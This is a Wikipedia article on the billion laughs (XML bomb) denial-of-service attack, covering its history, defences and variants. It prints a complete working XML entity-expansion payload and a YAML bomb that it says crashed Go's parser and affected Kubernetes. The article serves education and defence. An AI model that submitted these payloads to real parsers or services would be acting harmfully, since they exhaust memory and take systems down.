WIKIPEDIA

Billion laughs attack

In computer security, a **billion laughs attack** is a type of denial-of-service (DoS) attack which is aimed at parsers of XML documents.[1]

It is also referred to as an **XML bomb** or as an exponential entity expansion attack.[2]

Contents

Details

The example attack consists of defining 10 entities, each defined as consisting of 10 of the previous entity, with the document consisting of a single instance of the largest entity, which expands to one billion copies of the first entity.

In the most frequently cited example, the first entity is the string "lol", hence the name "billion laughs". At the time this vulnerability was first reported, the computer memory used by a billion instances of the string "lol" would likely exceed that available to the process parsing the XML.

While the original form of the attack was aimed specifically at XML parsers, the term may be applicable to similar subjects as well.[1]

The problem was first reported as early as 2002,[3] but began to be widely addressed in 2008.[4]

Defenses against this kind of attack include capping the memory allocated in an individual parser if loss of the document is acceptable, or treating entities symbolically and expanding them lazily only when (and to the extent) their content is to be used.

Code example

```
<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
```

When an XML parser loads this document, it sees that it includes one root element, "lolz", that contains the text "&lol9;". However, "&lol9;" is a defined entity that expands to a string containing ten "&lol8;" strings. Each "&lol8;" string is a defined entity that expands to ten "&lol7;" strings, and so on. After all the entity expansions have been processed, this small (< 1 KB) block of XML will actually contain 10^9 = a billion "lol"s, taking up almost 3 gigabytes of memory.[5]

Variations

The billion laughs attack described above can take an exponential amount of space or time. The **quadratic blowup** variation causes quadratic growth in resource requirements by simply repeating a large entity over and over again, to avoid countermeasures that detect heavily nested entities.[6] (See computational complexity theory for comparisons of different growth classes.)

A "billion laughs" attack should exist for any file format that can contain macro expansions, for example this YAML bomb:

```
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```

This crashed earlier versions of Go because the Go YAML processor (contrary to the YAML spec) expands references as if they were macros. The Go YAML processor was modified to fail parsing if the result object becomes too large.

Enterprise software like Kubernetes has been affected by this attack through its YAML parser. [7][8] For this reason, file formats that do not allow references are often preferred for data arriving from untrusted sources.[9]

See also

- Fork bomb: a similar method to exhaust a system's resources through recursion
- Zip bomb: a similar attack utilizing zip archives
- XML external entity attack: an XML attack to return arbitrary server files
- Document type definition: a template for validating XML files

References

1. Harold, Elliotte Rusty (27 May 2005). "Tip: Configure SAX parsers for secure processing" (https://www.webcitation.org/5wwJidGdh?url=http://www.ibm.com/developerworks/xml/library/x-tipcfsx.html). *IBM developerWorks*. Archived from the original (http://www.ibm.com/developerworks/xml/library/x-tipcfsx.html) on 4 March 2011. Retrieved 4 March 2011.

2. Sullivan, Bryan (November 2009). "XML Denial of Service Attacks and Defenses" (http://msdn.microsoft.com/en-us/magazine/ee335713.aspx). *MSDN Magazine*. Microsoft Corporation. Retrieved 2011-05-31.
3. "SecurityFocus" (http://www.securityfocus.com/archive/1/303509). 2002-12-16. Retrieved 2015-07-03.
4. "CVE-2003-1564" (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1564). *Common Vulnerabilities and Exposures*. The MITRE Corporation. 2003-02-02. Retrieved 2011-06-01.
5. Bryan Sullivan. "XML Denial of Service Attacks and Defenses" (http://msdn.microsoft.com/en-us/magazine/ee335713.aspx). Retrieved 2011-12-21.
6. "19.5. XML Processing Modules — Python 2.7.18 documentation" (https://docs.python.org/2/library/xml.html#xml-vulnerabilities).
7. "CVE-2019-11253: Kubernetes API Server JSON/YAML parsing vulnerable to resource exhaustion attack · Issue #83253 · kubernetes/Kubernetes" (https://github.com/kubernetes/kubernetes/issues/83253). *GitHub*.
8. Wallen, Jack (9 October 2019). "Kubernetes 'Billion Laughs' Vulnerability Is No Laughing Matter" (https://thenewstack.io/kubernetes-billion-laughs-vulnerability-is-no-laughing-matter/). *The New Stack*.
9. "XML is toast, long live JSON" (https://www.cio.com/article/238300/xml-is-toast-long-live-json.html). 9 June 2016.

Retrieved from "https://en.wikipedia.org/w/index.php?title=Billion_laughs_attack&oldid=1065457474"

This page was last edited on 13 January 2022, at 17:06 (UTC).